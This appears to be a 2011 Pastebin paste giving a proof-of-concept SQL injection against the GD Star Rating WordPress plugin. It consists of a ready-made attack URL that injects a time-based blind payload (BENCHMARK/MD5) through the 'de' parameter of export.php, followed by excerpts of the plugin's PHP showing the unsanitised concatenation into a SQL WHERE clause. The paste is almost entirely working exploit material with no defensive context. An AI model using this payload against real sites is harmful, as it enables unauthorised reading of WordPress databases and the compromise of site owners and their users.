Guest User

Untitled

a guest
Oct 13th, 2011
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. ---
  2. PoC
  3. ---
  4. http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
  5.  
  6. ---------------
  7. Vulnerable code
  8. ---------------
  9. ./export.php
  10. require_once("./code/cls/export.php");
  11. ...
  12. if (isset($_GET["ex"])) {
  13. $export_type = $_GET["ex"];
  14. ...
  15. switch($export_type) {
  16. case "user":
  17. header('Content-type: text/csv');
  18. header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
  19. $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
  20. $rows = $wpdb->get_results($sql, ARRAY_N);
  21.  
  22. ./code/cls/export.php
  23. class GDSRExport {
  24. ...
  25. function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
  26. ...
  27. $where = array();
  28. ...
  29. $where[] = "v.vote_type = '".$data_export."'";
  30. ...
  31. $j_where = join(" and ", $where);
  32. ...
  33. return sprintf("select %s from %s where %s order by u.id",
  34. $j_select, $j_tables, $j_where);
  35.  
  36.  
  37. # [2011-10-12]
  38.  
Advertisement
Add Comment
Please, Sign In to add comment